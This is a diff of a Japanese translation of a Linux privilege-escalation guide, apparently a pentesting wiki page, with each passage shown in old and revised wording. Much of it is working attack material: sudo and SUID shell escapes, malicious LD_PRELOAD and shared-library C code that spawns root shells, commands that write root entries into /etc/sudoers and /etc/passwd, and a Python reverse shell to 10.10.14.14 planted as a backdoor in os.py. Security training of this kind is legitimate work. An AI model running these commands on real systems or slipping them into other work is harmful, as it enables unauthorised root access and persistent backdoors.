このシステムは多用途で、プロセス間のデータ交換を強化する基本的なIPCをサポートし、**強化されたUNIXドメインソケット**を思わせます。さらに、イベントや信号をブロードキャストするのを助け、システムコンポーネント間のシームレスな統合を促進します。たとえば、Bluetoothデーモンからの着信コールに関する信号は、音楽プレーヤーをミュートさせ、ユーザーエクスペリエンスを向上させることができます。加えて、D-Busはリモートオブジェクトシステムをサポートし、アプリケーション間のサービスリクエストやメソッド呼び出しを簡素化し、従来は複雑だったプロセスを効率化します。
|
||||
|
||||
D-Busは**許可/拒否モデル**で動作し、メッセージの権限(メソッド呼び出し、信号の送信など)を、ポリシールールの一致の累積効果に基づいて管理します。これらのポリシーはバスとの相互作用を指定し、これらの権限の悪用を通じて特権昇格を可能にする場合があります。
|
||||
D-Busは**許可/拒否モデル**で動作し、メッセージの権限(メソッド呼び出し、信号の送信など)を、ポリシールールの一致の累積効果に基づいて管理します。これらのポリシーはバスとの相互作用を指定し、これらの権限の悪用を通じて特権昇格を許可する可能性があります。
|
||||
|
||||
`/etc/dbus-1/system.d/wpa_supplicant.conf`にあるそのようなポリシーの例が提供されており、rootユーザーが`fi.w1.wpa_supplicant1`からメッセージを所有、送信、受信するための権限が詳細に説明されています。
|
||||
`/etc/dbus-1/system.d/wpa_supplicant.conf`にあるそのようなポリシーの例が提供されており、rootユーザーが`fi.w1.wpa_supplicant1`からメッセージを所有、送信、受信するための権限が詳細に記載されています。
|
||||
|
||||
指定されたユーザーやグループがないポリシーは普遍的に適用され、"デフォルト"コンテキストポリシーは他の特定のポリシーにカバーされていないすべてに適用されます。
|
||||
指定されたユーザーやグループのないポリシーは普遍的に適用され、"デフォルト"コンテキストポリシーは他の特定のポリシーにカバーされていないすべてに適用されます。
|
||||
```xml
|
||||
<policy user="root">
|
||||
<allow own="fi.w1.wpa_supplicant1"/>
|
||||
@ -587,7 +587,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md
|
||||
|
||||
## **ネットワーク**
|
||||
|
||||
ネットワークを列挙し、マシンの位置を把握することは常に興味深いです。
|
||||
ネットワークを列挙し、マシンの位置を特定することは常に興味深いです。
|
||||
|
||||
### 一般的な列挙
|
||||
```bash
|
||||
@ -629,7 +629,7 @@ timeout 1 tcpdump
|
||||
|
||||
### 一般的な列挙
|
||||
|
||||
**who**で自分が誰であるか、どの**privileges**を持っているか、システムにどの**users**がいるか、どのユーザーが**login**できるか、どのユーザーが**root privileges**を持っているかを確認します。
|
||||
**who**を確認し、どの**privileges**を持っているか、システムにどの**users**がいるか、どのユーザーが**login**でき、どのユーザーが**root privileges**を持っているかを確認します。
|
||||
```bash
|
||||
#Info about me
|
||||
id || (whoami && groups) 2>/dev/null
|
||||
@ -653,12 +653,12 @@ gpg --list-keys 2>/dev/null
|
||||
```
|
||||
### Big UID
|
||||
|
||||
一部のLinuxバージョンには、**UID > INT_MAX**を持つユーザーが特権を昇格させることを可能にするバグが影響を与えました。詳細情報: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) および [here](https://twitter.com/paragonsec/status/1071152249529884674)。\
|
||||
一部のLinuxバージョンには、**UID > INT_MAX**を持つユーザーが特権を昇格させることを可能にするバグが影響を与えました。詳細情報: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) と [here](https://twitter.com/paragonsec/status/1071152249529884674)。\
|
||||
**これを利用する**には: **`systemd-run -t /bin/bash`**
|
||||
|
||||
### Groups
|
||||
|
||||
あなたがルート特権を付与する可能性のある**グループのメンバー**であるか確認してください:
|
||||
ルート特権を付与する可能性のある**グループのメンバー**であるか確認してください:
|
||||
|
||||
{{#ref}}
|
||||
interesting-groups-linux-pe/
|
||||
@ -681,24 +681,24 @@ fi
|
||||
```bash
|
||||
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
|
||||
```
|
||||
### Known passwords
|
||||
### 知られているパスワード
|
||||
|
||||
環境の**パスワードを知っている場合**は、**各ユーザーとしてログインを試みてください**。
|
||||
もし**環境のパスワードを知っている場合**は、そのパスワードを使って**各ユーザーとしてログインを試みてください**。
|
||||
|
||||
### Su Brute
|
||||
|
||||
多くのノイズを出すことを気にしない場合、`su`および`timeout`バイナリがコンピュータに存在するなら、[su-bruteforce](https://github.com/carlospolop/su-bruteforce)を使用してユーザーをブルートフォースすることができます。\
|
||||
多くのノイズを出すことを気にしない場合、`su`と`timeout`バイナリがコンピュータに存在するなら、[su-bruteforce](https://github.com/carlospolop/su-bruteforce)を使ってユーザーをブルートフォースすることができます。\
|
||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)の`-a`パラメータもユーザーをブルートフォースしようとします。
|
||||
|
||||
## Writable PATH abuses
|
||||
## 書き込み可能なPATHの悪用
|
||||
|
||||
### $PATH
|
||||
|
||||
もし**$PATHのいくつかのフォルダ内に書き込むことができる**ことがわかった場合、**書き込み可能なフォルダ内にバックドアを作成することによって特権を昇格させる**ことができるかもしれません。そのバックドアは、異なるユーザー(理想的にはroot)によって実行されるコマンドの名前であり、$PATH内のあなたの書き込み可能なフォルダよりも前に位置するフォルダから**読み込まれない**ものである必要があります。
|
||||
もし**$PATHのいくつかのフォルダ内に書き込むことができる**ことがわかった場合、**書き込み可能なフォルダ内にバックドアを作成することによって特権を昇格させる**ことができるかもしれません。そのバックドアは、異なるユーザー(理想的にはroot)によって実行されるコマンドの名前であり、**あなたの書き込み可能なフォルダよりも前に位置するフォルダからは読み込まれない**必要があります。
|
||||
|
||||
### SUDO and SUID
|
||||
### SUDOとSUID
|
||||
|
||||
sudoを使用していくつかのコマンドを実行することが許可されているか、suidビットを持っている可能性があります。次のコマンドを使用して確認してください:
|
||||
sudoを使用していくつかのコマンドを実行することが許可されているか、suidビットが設定されている可能性があります。それを確認するには:
|
||||
```bash
|
||||
sudo -l #Check commands you can execute with sudo
|
||||
find / -perm -4000 2>/dev/null #Find all SUID binaries
|
||||
@ -714,13 +714,13 @@ less>! <shell_comand>
|
||||
```
|
||||
### NOPASSWD
|
||||
|
||||
Sudoの設定により、ユーザーは他のユーザーの権限でパスワードを知らずにコマンドを実行できる場合があります。
|
||||
Sudoの設定により、ユーザーはパスワードを知らなくても他のユーザーの権限でコマンドを実行できる場合があります。
|
||||
```
|
||||
$ sudo -l
|
||||
User demo may run the following commands on crashlab:
|
||||
(root) NOPASSWD: /usr/bin/vim
|
||||
```
|
||||
この例では、ユーザー `demo` が `root` として `vim` を実行できます。これにより、ルートディレクトリにsshキーを追加するか、`sh` を呼び出すことでシェルを取得することが簡単になります。
|
||||
この例では、ユーザー `demo` が `root` として `vim` を実行できます。これにより、ルートディレクトリにSSHキーを追加するか、`sh` を呼び出すことでシェルを取得することが簡単になります。
|
||||
```
|
||||
sudo vim -c '!sh'
|
||||
```
|
||||
@ -763,35 +763,35 @@ export PATH=/tmp:$PATH
|
||||
#Put your backdoor in /tmp and name it "less"
|
||||
sudo less
|
||||
```
|
||||
この技術は、**suid** バイナリが **パスを指定せずに別のコマンドを実行する場合**にも使用できます(常に奇妙な SUID バイナリの内容を _**strings**_ で確認してください)。
|
||||
この技術は、**suid** バイナリが **パスを指定せずに別のコマンドを実行する場合にも使用できます(常に** _**strings**_ **で奇妙な SUID バイナリの内容を確認してください)**。
|
||||
|
||||
[実行するペイロードの例。](payloads-to-execute.md)
|
||||
|
||||
### コマンドパスを持つ SUID バイナリ
|
||||
|
||||
もし **suid** バイナリが **パスを指定して別のコマンドを実行する場合**、その場合は、suid ファイルが呼び出しているコマンドと同名の **関数をエクスポート**しようとすることができます。
|
||||
もし **suid** バイナリが **パスを指定して別のコマンドを実行する場合**、その場合は、suid ファイルが呼び出しているコマンドと同名の **関数をエクスポート** しようとすることができます。
|
||||
|
||||
例えば、suid バイナリが _**/usr/sbin/service apache2 start**_ を呼び出す場合、関数を作成してエクスポートする必要があります:
|
||||
```bash
|
||||
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
|
||||
export -f /usr/sbin/service
|
||||
```
|
||||
その後、suidバイナリを呼び出すと、この関数が実行されます
|
||||
そのため、suidバイナリを呼び出すと、この関数が実行されます。
|
||||
|
||||
### LD_PRELOAD & **LD_LIBRARY_PATH**
|
||||
|
||||
**LD_PRELOAD** 環境変数は、ローダーによって他のすべてのライブラリ、標準Cライブラリ(`libc.so`を含む)よりも前にロードされる1つ以上の共有ライブラリ(.soファイル)を指定するために使用されます。このプロセスはライブラリのプリロードとして知られています。
|
||||
**LD_PRELOAD** 環境変数は、ローダーによって他のすべてのライブラリ、標準Cライブラリ(`libc.so`)を含む前に読み込まれる1つ以上の共有ライブラリ(.soファイル)を指定するために使用されます。このプロセスはライブラリのプリロードとして知られています。
|
||||
|
||||
しかし、システムのセキュリティを維持し、この機能が特に**suid/sgid**実行可能ファイルで悪用されるのを防ぐために、システムはいくつかの条件を強制します:
|
||||
しかし、システムのセキュリティを維持し、この機能が悪用されるのを防ぐために、特に **suid/sgid** 実行可能ファイルに対して、システムはいくつかの条件を強制します:
|
||||
|
||||
- ローダーは、実ユーザーID(_ruid_)が有効ユーザーID(_euid_)と一致しない実行可能ファイルに対して**LD_PRELOAD**を無視します。
|
||||
- suid/sgidの実行可能ファイルに対しては、suid/sgidでもある標準パスのライブラリのみがプリロードされます。
|
||||
- ローダーは、実ユーザーID (_ruid_) が有効ユーザーID (_euid_) と一致しない実行可能ファイルに対して **LD_PRELOAD** を無視します。
|
||||
- suid/sgid の実行可能ファイルに対しては、suid/sgid でもある標準パスのライブラリのみがプリロードされます。
|
||||
|
||||
特権昇格は、`sudo`でコマンドを実行する能力があり、`sudo -l`の出力に**env_keep+=LD_PRELOAD**という文が含まれている場合に発生する可能性があります。この構成により、**LD_PRELOAD** 環境変数が持続し、`sudo`でコマンドが実行されるときでも認識されるため、特権のある状態で任意のコードが実行される可能性があります。
|
||||
特権昇格は、`sudo` でコマンドを実行する能力があり、`sudo -l` の出力に **env_keep+=LD_PRELOAD** という文が含まれている場合に発生する可能性があります。この構成により、**LD_PRELOAD** 環境変数が持続し、`sudo` でコマンドが実行されるときにも認識されるため、特権のある状態で任意のコードが実行される可能性があります。
|
||||
```
|
||||
Defaults env_keep += LD_PRELOAD
|
||||
```
|
||||
**/tmp/pe.c**として保存してください
|
||||
**/tmp/pe.c**として保存
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <sys/types.h>
|
||||
@ -809,7 +809,7 @@ system("/bin/bash");
|
||||
cd /tmp
|
||||
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
|
||||
```
|
||||
最後に、**特権を昇格させる** 実行中
|
||||
最後に、**特権を昇格させる** 実行
|
||||
```bash
|
||||
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
|
||||
```
|
||||
@ -853,7 +853,7 @@ void inject(){
|
||||
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
|
||||
}
|
||||
```
|
||||
このコードは、コンパイルして実行すると、ファイルの権限を操作し、特権のあるシェルを実行することで特権を昇格させることを目的としています。
|
||||
このコードは、コンパイルされて実行されると、ファイルの権限を操作し、昇格した権限でシェルを実行することを目的としています。
|
||||
|
||||
上記のCファイルを共有オブジェクト(.so)ファイルにコンパイルするには:
|
||||
```bash
|
||||
@ -894,7 +894,7 @@ system("/bin/bash -p");
|
||||
|
||||
[**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルのセキュリティ制限を回避するために悪用できるUnixバイナリのキュレーションされたリストです。[**GTFOArgs**](https://gtfoargs.github.io/) は、コマンドに**引数のみを注入できる**場合の同様のリストです。
|
||||
|
||||
このプロジェクトは、制限されたシェルから抜け出し、特権を昇格または維持し、ファイルを転送し、バインドおよびリバースシェルを生成し、その他のポストエクスプロイテーションタスクを容易にするために悪用できるUnixバイナリの正当な関数を収集します。
|
||||
このプロジェクトは、制限されたシェルから抜け出し、特権を昇格または維持し、ファイルを転送し、バインドおよびリバースシェルを生成し、他のポストエクスプロイテーションタスクを容易にするために悪用できるUnixバイナリの正当な関数を収集します。
|
||||
|
||||
> gdb -nx -ex '!sh' -ex quit\
|
||||
> sudo mysql -e '! /bin/sh'\
|
||||
@ -919,10 +919,10 @@ https://gtfoargs.github.io/
|
||||
|
||||
特権を昇格させるための要件:
|
||||
|
||||
- あなたはすでにユーザー "_sampleuser_" としてシェルを持っています
|
||||
- "_sampleuser_" は**過去15分間に `sudo`** を使用して何かを実行しています(デフォルトでは、これはパスワードを入力せずに `sudo` を使用できるsudoトークンの期間です)
|
||||
- `cat /proc/sys/kernel/yama/ptrace_scope` は 0 です
|
||||
- `gdb` にアクセス可能です(アップロードできる必要があります)
|
||||
- "_sampleuser_" としてシェルを持っている
|
||||
- "_sampleuser_" が**過去15分間に `sudo`** を使用して何かを実行している(デフォルトでは、これはパスワードを入力せずに `sudo` を使用できるsudoトークンの期間です)
|
||||
- `cat /proc/sys/kernel/yama/ptrace_scope` が 0 である
|
||||
- `gdb` にアクセス可能である(アップロードできる必要があります)
|
||||
|
||||
(`echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` で一時的に `ptrace_scope` を有効にするか、`/etc/sysctl.d/10-ptrace.conf` を永続的に修正して `kernel.yama.ptrace_scope = 0` を設定できます)
|
||||
|
||||
@ -946,7 +946,7 @@ sudo su
|
||||
```
|
||||
### /var/run/sudo/ts/\<Username>
|
||||
|
||||
フォルダ内の作成されたファイルに**書き込み権限**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使用して**ユーザーとPIDのためのsudoトークンを作成**できます。\
|
||||
フォルダ内のファイルに**書き込み権限**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使用して**ユーザーとPIDのためのsudoトークンを作成**できます。\
|
||||
例えば、ファイル_/var/run/sudo/ts/sampleuser_を上書きでき、PID 1234のそのユーザーとしてシェルを持っている場合、パスワードを知らなくても**sudo権限を取得**できます。
|
||||
```bash
|
||||
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
|
||||
@ -954,12 +954,12 @@ sudo su
|
||||
### /etc/sudoers, /etc/sudoers.d
|
||||
|
||||
ファイル `/etc/sudoers` と `/etc/sudoers.d` 内のファイルは、誰が `sudo` を使用できるか、そしてその方法を設定します。これらのファイルは **デフォルトではユーザー root とグループ root のみが読み取ることができます**。\
|
||||
**もし** このファイルを **読む** ことができれば、**興味深い情報を取得できる** 可能性があります。また、**もし** どのファイルでも **書き込む** ことができれば、**特権を昇格させる** ことができるでしょう。
|
||||
**もし** このファイルを **読む** ことができれば、**興味深い情報を取得できる** かもしれません。また、**もし** どのファイルでも **書き込む** ことができれば、**特権を昇格させる** ことができるでしょう。
|
||||
```bash
|
||||
ls -l /etc/sudoers /etc/sudoers.d/
|
||||
ls -ld /etc/sudoers.d/
|
||||
```
|
||||
書けるなら、この権限を悪用することができます。
|
||||
この権限を悪用することができます。
|
||||
```bash
|
||||
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
|
||||
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
|
||||
@ -1006,8 +1006,8 @@ sudo ls
|
||||
|
||||
これは、`/etc/ld.so.conf.d/*.conf` からの設定ファイルが読み込まれることを意味します。この設定ファイルは **他のフォルダを指し示し**、そこに **ライブラリ** が **検索される** ことになります。例えば、`/etc/ld.so.conf.d/libc.conf` の内容は `/usr/local/lib` です。 **これは、システムが `/usr/local/lib` 内でライブラリを検索することを意味します**。
|
||||
|
||||
何らかの理由で **ユーザーが書き込み権限を持っている** 場合、次のパスのいずれかに対して: `/etc/ld.so.conf`、`/etc/ld.so.conf.d/`、`/etc/ld.so.conf.d/` 内の任意のファイル、または `/etc/ld.so.conf.d/*.conf` 内の設定ファイル内の任意のフォルダに対して、特権を昇格させることができるかもしれません。\
|
||||
この誤設定を **どのように悪用するか** を次のページで確認してください:
|
||||
何らかの理由で **ユーザーが書き込み権限を持っている** 場合、次のパスのいずれかに対して: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 内の任意のファイル、または `/etc/ld.so.conf.d/*.conf` 内の設定ファイル内の任意のフォルダ、特権を昇格させることができるかもしれません。\
|
||||
次のページで **この誤設定を悪用する方法** を確認してください:
|
||||
|
||||
{{#ref}}
|
||||
ld.so.conf-example.md
|
||||
@ -1033,7 +1033,7 @@ linux-gate.so.1 => (0x005b0000)
|
||||
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
|
||||
/lib/ld-linux.so.2 (0x00737000)
|
||||
```
|
||||
`/var/tmp`に`gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`を使用して悪意のあるライブラリを作成します。
|
||||
`/var/tmp`に`gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`を使って悪意のあるライブラリを作成します。
|
||||
```c
|
||||
#include<stdlib.h>
|
||||
#define SHELL "/bin/sh"
|
||||
@ -1049,7 +1049,7 @@ execve(file,argv,0);
|
||||
## Capabilities
|
||||
|
||||
Linux capabilitiesは、**プロセスに利用可能なroot権限のサブセットを提供します**。これにより、rootの**権限がより小さく、区別された単位に分割されます**。これらの単位はそれぞれ独立してプロセスに付与できます。この方法により、権限の完全なセットが削減され、悪用のリスクが低下します。\
|
||||
以下のページを読んで、**capabilitiesについてとそれを悪用する方法を学んでください**:
|
||||
以下のページを読んで、**capabilitiesについておよびそれを悪用する方法を学んでください**:
|
||||
|
||||
{{#ref}}
|
||||
linux-capabilities.md
|
||||
@ -1057,12 +1057,12 @@ linux-capabilities.md
|
||||
|
||||
## Directory permissions
|
||||
|
||||
ディレクトリ内で、**"execute"のビット**は、影響を受けるユーザーが**"cd"**でフォルダに入れることを示します。\
|
||||
ディレクトリ内で、**"execute"のビット**は、影響を受けるユーザーがフォルダに**"cd"**できることを示します。\
|
||||
**"read"**ビットは、ユーザーが**ファイルをリスト**できることを示し、**"write"**ビットは、ユーザーが**ファイルを削除**および**新しいファイルを作成**できることを示します。
|
||||
|
||||
## ACLs
|
||||
|
||||
アクセス制御リスト(ACL)は、裁量的権限の二次的な層を表し、**従来のugo/rwx権限を上書きすることができます**。これらの権限は、所有者やグループの一部でない特定のユーザーに対して権利を付与または拒否することにより、ファイルやディレクトリへのアクセスをより制御します。このレベルの**粒度は、より正確なアクセス管理を保証します**。詳細は[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)で確認できます。
|
||||
アクセス制御リスト(ACL)は、裁量的権限の二次的な層を表し、**従来のugo/rwx権限を上書きすることができます**。これらの権限は、所有者やグループの一部でない特定のユーザーに対して権利を付与または拒否することにより、ファイルまたはディレクトリへのアクセスをより制御します。このレベルの**粒度は、より正確なアクセス管理を保証します**。詳細は[**こちら**](https://linuxconfig.org/how-to-manage-acls-on-linux)で確認できます。
|
||||
|
||||
**ユーザー"kali"にファイルに対する読み取りおよび書き込み権限を与えます**:
|
||||
```bash
|
||||
@ -1097,7 +1097,7 @@ screen -x [user]/[session id]
|
||||
```
|
||||
## tmux セッションのハイジャック
|
||||
|
||||
これは **古い tmux バージョン** に関する問題でした。特権のないユーザーとして root によって作成された tmux (v2.1) セッションをハイジャックすることはできませんでした。
|
||||
これは **古い tmux バージョン** に関する問題でした。非特権ユーザーとして root によって作成された tmux (v2.1) セッションをハイジャックすることはできませんでした。
|
||||
|
||||
**tmux セッションのリスト**
|
||||
```bash
|
||||
@ -1124,7 +1124,7 @@ Check **Valentine box from HTB** for an example.
|
||||
### Debian OpenSSL Predictable PRNG - CVE-2008-0166
|
||||
|
||||
Debianベースのシステム(Ubuntu、Kubuntuなど)で2006年9月から2008年5月13日までに生成されたすべてのSSLおよびSSHキーは、このバグの影響を受ける可能性があります。\
|
||||
このバグは、これらのOSで新しいsshキーを作成する際に発生します。**可能な変種は32,768通りのみでした**。これは、すべての可能性を計算できることを意味し、**ssh公開鍵を持っていれば、対応する秘密鍵を検索できます**。計算された可能性はここで見つけることができます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
このバグは、これらのOSで新しいsshキーを作成する際に発生します。**可能な変種は32,768通りのみ**です。これは、すべての可能性を計算できることを意味し、**ssh公開鍵を持っていれば、対応する秘密鍵を検索できます**。計算された可能性はここで見つけることができます: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
|
||||
|
||||
### SSH Interesting configuration values
|
||||
|
||||
@ -1134,7 +1134,7 @@ Debianベースのシステム(Ubuntu、Kubuntuなど)で2006年9月から20
|
||||
|
||||
### PermitRootLogin
|
||||
|
||||
rootがsshを使用してログインできるかどうかを指定します。デフォルトは`no`です。可能な値:
|
||||
rootがsshを使用してログインできるかどうかを指定します。デフォルトは`no`です。可能な値:
|
||||
|
||||
- `yes`: rootはパスワードと秘密鍵を使用してログインできます
|
||||
- `without-password`または`prohibit-password`: rootは秘密鍵のみでログインできます
|
||||
@ -1143,7 +1143,7 @@ rootがsshを使用してログインできるかどうかを指定します。
|
||||
|
||||
### AuthorizedKeysFile
|
||||
|
||||
ユーザー認証に使用できる公開鍵を含むファイルを指定します。`%h`のようなトークンを含むことができ、これはホームディレクトリに置き換えられます。**絶対パス**(`/`で始まる)または**ユーザーのホームからの相対パス**を指定できます。例えば:
|
||||
ユーザー認証に使用できる公開鍵を含むファイルを指定します。`%h`のようなトークンを含むことができ、これはホームディレクトリに置き換えられます。**絶対パス**(`/`で始まる)または**ユーザーのホームからの相対パス**を指定できます。例えば:
|
||||
```bash
|
||||
AuthorizedKeysFile .ssh/authorized_keys access
|
||||
```
|
||||
@ -1151,7 +1151,7 @@ AuthorizedKeysFile .ssh/authorized_keys access
|
||||
|
||||
### ForwardAgent/AllowAgentForwarding
|
||||
|
||||
SSH エージェントフォワーディングを使用すると、**サーバーにパスフレーズなしで** キーを置くのではなく、**ローカルの SSH キーを使用する**ことができます。これにより、ssh **でホストにジャンプ**し、そこから **別の** ホストに **ジャンプする**ことができ、**初期ホスト**にある **キー**を使用します。
|
||||
SSH エージェントフォワーディングを使用すると、**サーバーに置いておくことなく**(パスフレーズなしの)**ローカルの SSH キーを使用**できます。これにより、ssh **を介してホストに** **ジャンプ**し、そこから **別の** ホストに **ジャンプ** **することができます** **初期ホスト** にある **キー** を使用して。
|
||||
|
||||
このオプションを `$HOME/.ssh.config` に次のように設定する必要があります:
|
||||
```
|
||||
@ -1161,9 +1161,9 @@ ForwardAgent yes
|
||||
`Host`が`*`の場合、ユーザーが異なるマシンにジャンプするたびに、そのホストはキーにアクセスできるようになります(これはセキュリティの問題です)。
|
||||
|
||||
ファイル`/etc/ssh_config`はこの**options**を**override**し、この設定を許可または拒否することができます。\
|
||||
ファイル`/etc/sshd_config`はキーワード`AllowAgentForwarding`を使用してssh-agentフォワーディングを**allow**または**denied**することができます(デフォルトはallowです)。
|
||||
ファイル`/etc/sshd_config`は`AllowAgentForwarding`というキーワードを使用してssh-agentフォワーディングを**allow**または**denied**することができます(デフォルトはallowです)。
|
||||
|
||||
Forward Agentが環境で設定されている場合、次のページを読むことをお勧めします。**権限を昇格させるために悪用できる可能性があります**:
|
||||
Forward Agentが環境で設定されている場合、次のページを読んでください。**特権を昇格させるために悪用できるかもしれません**:
|
||||
|
||||
{{#ref}}
|
||||
ssh-forward-agent-exploitation.md
|
||||
@ -1173,7 +1173,7 @@ ssh-forward-agent-exploitation.md
|
||||
|
||||
### プロファイルファイル
|
||||
|
||||
ファイル`/etc/profile`および`/etc/profile.d/`内のファイルは、**ユーザーが新しいシェルを実行するときに実行されるスクリプトです**。したがって、これらのいずれかを**書き込むまたは変更することができれば、権限を昇格させることができます**。
|
||||
ファイル`/etc/profile`および`/etc/profile.d/`内のファイルは、**ユーザーが新しいシェルを実行するときに実行されるスクリプトです**。したがって、これらのいずれかを**書き込むまたは変更することができれば、特権を昇格させることができます**。
|
||||
```bash
|
||||
ls -l /etc/profile /etc/profile.d/
|
||||
```
|
||||
@ -1181,7 +1181,7 @@ ls -l /etc/profile /etc/profile.d/
|
||||
|
||||
### Passwd/Shadow ファイル
|
||||
|
||||
OSによっては、`/etc/passwd` および `/etc/shadow` ファイルが異なる名前を使用しているか、バックアップが存在する場合があります。したがって、**すべてを見つける**ことをお勧めし、**それらを読み取れるか確認**して、ファイル内に**ハッシュ**が含まれているかを確認してください。
|
||||
OSによっては、`/etc/passwd` と `/etc/shadow` ファイルが異なる名前を使用しているか、バックアップが存在する場合があります。したがって、**すべてを見つける**ことをお勧めし、**それらを読み取れるか確認**して、ファイル内に**ハッシュ**が含まれているかを確認してください。
|
||||
```bash
|
||||
#Passwd equivalent files
|
||||
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
@ -1208,7 +1208,7 @@ hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
|
||||
|
||||
これで `hacker:hacker` で `su` コマンドを使用できます。
|
||||
|
||||
また、パスワードなしのダミーユーザーを追加するには、次の行を使用できます。\
|
||||
また、パスワードなしでダミーユーザーを追加するには、次の行を使用できます。\
|
||||
警告: 現在のマシンのセキュリティが低下する可能性があります。
|
||||
```
|
||||
echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd
|
||||
@ -1221,7 +1221,7 @@ su - dummy
|
||||
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
|
||||
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
|
||||
```
|
||||
例えば、マシンが**tomcat**サーバーを実行していて、**/etc/systemd/内のTomcatサービス構成ファイルを変更できる**場合、次の行を変更できます:
|
||||
例えば、マシンが**tomcat**サーバーを実行していて、**/etc/systemd/内のTomcatサービス設定ファイルを変更できる**場合、次の行を変更できます:
|
||||
```
|
||||
ExecStart=/path/to/backdoor
|
||||
User=root
|
||||
@ -1256,7 +1256,7 @@ done
|
||||
```bash
|
||||
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null
|
||||
```
|
||||
### Sqlite DBファイル
|
||||
### Sqlite DB ファイル
|
||||
```bash
|
||||
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
|
||||
```
|
||||
@ -1287,12 +1287,12 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam
|
||||
### Known files containing passwords
|
||||
|
||||
[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)のコードを読んでください。これは**パスワードを含む可能性のあるいくつかのファイルを検索します**。\
|
||||
**もう一つの興味深いツール**は、**LaZagne**です。これは、Windows、Linux、Macのローカルコンピュータに保存された多くのパスワードを取得するために使用されるオープンソースアプリケーションです。
|
||||
**もう一つの興味深いツール**は、[**LaZagne**](https://github.com/AlessandroZ/LaZagne)で、これはWindows、Linux、Macのローカルコンピュータに保存された多くのパスワードを取得するために使用されるオープンソースアプリケーションです。
|
||||
|
||||
### Logs
|
||||
|
||||
ログを読むことができれば、**その中に興味深い/機密情報を見つけることができるかもしれません**。ログが奇妙であればあるほど、興味深いものになるでしょう(おそらく)。\
|
||||
また、**「悪い」**設定(バックドア?)の**監査ログ**は、この記事で説明されているように、**監査ログ内にパスワードを記録する**ことを許可するかもしれません: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。
|
||||
また、**「悪い」**構成(バックドア?)の**監査ログ**は、この記事で説明されているように、**監査ログ内にパスワードを記録することを許可するかもしれません**: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/)。
|
||||
```bash
|
||||
aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g"
|
||||
grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
@ -1321,7 +1321,7 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null
|
||||
|
||||
**どこ**からPythonスクリプトが実行されるかを知っていて、そのフォルダー内に**書き込むことができる**、または**Pythonライブラリを変更できる**場合、OSライブラリを変更してバックドアを仕掛けることができます(Pythonスクリプトが実行される場所に書き込むことができる場合、os.pyライブラリをコピーして貼り付けます)。
|
||||
|
||||
ライブラリを**バックドア**するには、os.pyライブラリの最後に次の行を追加します(IPとPORTを変更してください):
|
||||
ライブラリを**バックドアする**には、os.pyライブラリの最後に次の行を追加します(IPとPORTを変更してください):
|
||||
```python
|
||||
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
|
||||
```
|
||||
@ -1336,7 +1336,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
||||
|
||||
この脆弱性は[**logrotten**](https://github.com/whotwagner/logrotten)を使用して悪用できます。
|
||||
|
||||
